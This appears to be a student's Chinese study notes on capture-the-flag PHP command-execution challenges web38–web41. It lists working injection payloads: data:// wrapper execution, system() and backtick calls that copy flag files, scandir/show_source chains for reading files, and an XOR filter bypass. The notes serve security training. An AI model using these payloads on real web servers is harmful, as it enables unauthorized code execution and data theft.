2021/7/7

命令执行

web38

image-20210707112056235

题目提示:nginx的日志文件/var/log/nginx/access.log

  • 替换

    1
    url/?c=data://text/plain,<?=system("cp fla*.* 1.txt");?>  url/1.txt 得到源代码
    • mv命令用来对文件或目录重新命名,或者将文件从一个目录移到另一个目录中。source表示源文件或目录,target表示目标文件或目录。如果将一个文件移到一个已经存在的目标文件中,则目标文件的内容将被覆盖。mv [选项] source target

      cp 命令复制一个文件,而原文件保持不变。如果把一个文件复制到一个目标文件中,而目标文件已经存在,那么,该目标文件的内容将被破坏。此命令中所有参数既可以是绝对路径名,也可以是相对路径名。cp [选项] 源文件或目录 目标文件或目录

      mv只是移动了文件,文件的一切都没有改变,而 cp是在目标文件夹中创建了新的文件。

      mv和cp的区别

web39

image-20210707114839622

强制加了后缀php

  • 依然可用

    1
    /?c=data://text/plain,<?=phpinfo();?>

    代码完成后.php不会作为命令执行

    • data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的 .php会被当成 html页面直接显示在页面上,起不到什么作用

    image-20210707114743011

    ​ 后面出现的1.php phpinfo()返回值为1 所以方法同38

  • 之前的方法还可用

    1
    url/?c=system("cp fla?.php 1.txt") ; --> url/1.txt

    或者

    1
    url/?c=`cp fla?.php 1.txt`;  --> url/1.txt
web40

image-20210707144728782

重新用eval 但是没有直接说flag在flag.php里

  • hint答案 1

    1
    url/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
    • localeconv() 函数返回一包含本地数字及货币格式信息的数组。
    • pos() 函数返回数组中的当前元素的值,默认取第一个值,pos是current的别名。
    • scandir() 函数返回指定目录中的文件和目录的数组。
    • array_reverse() 函数以相反的元素顺序返回数组。
    • next() 返回迭代器的下一个项目。
    • show_source() 函数对文件进行语法高亮显示,highlight_file() 的别名

    image-20210707163134240

    image-20210707163306576

  • hint 答案 2 【不行】

    1
    /?c=session_start();system(session_id()); 

    –> **application **-> Name=PHPSESSID Value=ls 提交页面出现目录image-20210707153358429但是不可见文件具体内容 后来找到一个解释 ↓

    image-20210707162658780

    https://www.wlhhlc.top/posts/14827/#web40 这个比较细

    • ```
      ?c=print_r(scandir(current(localeconv()))); //打印当前目录下文件

      1
      2
      3
      4
      5

      ![image-20210707154741699](实训7-7/image-20210707154741699.png)

      + ```
      /?c=show_source(next(array_reverse(scandir(getcwd()))));//观察flag.php在倒数第二位 开始构造

      image-20210707154836941

      getcwd() — Gets the current working directory

  • b站答案 【我没成功 hackbar不一样好像】 原理类似hint1

    1
    /?c=print_r(get_defined_vars()); //获取所有变量

    image-20210707155547720

    enable post 输入phpinfo(); 至今不知道哪输入的 录屏屏幕不完整啊orz

    然后/?c=print(array_pop(next(get_defined_vars()))); 发现可行

    最后把print改成eval phpinfo();改成需要的代码 提交

web41 XXXX

image-20210707163348283

hint

  • 突破点在没有屏蔽异或 |运算 可以通过两个字符的异或拼出想要的字符

    比如:(‘%40’|’%01’) <–> (‘A’)(16进制异或运算得到65对应ascii码)

    代码写成('phpinfo')();是可以被浏览器执行的

    用现有字符拼出所有所需字符

  • 其中的php代码相当于生成异或字典 python相当于自动输入

    • exp.py 用法 `python exp.py url

    【对我来说是python3】

    tamadekazaipythonshanglexuepythonqulebaibai

看python去了

命令执行方法要点

工具 hackbar( f12)

firefox使用 hackbar:用 max hackbar| 下载2.1.3的版本 关闭插件自动更新

  • 技巧

    • *?代替字符 ‘’分割字符串
    • system() <–> ``
    • mv <–> cp
    • tac <–> cat(不直接回显)
    • include <–>require
  • 新设置参数逃逸 $_GET

  • data伪协议/文件包含url/?c=data://text/plain,<php代码>

  • url/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));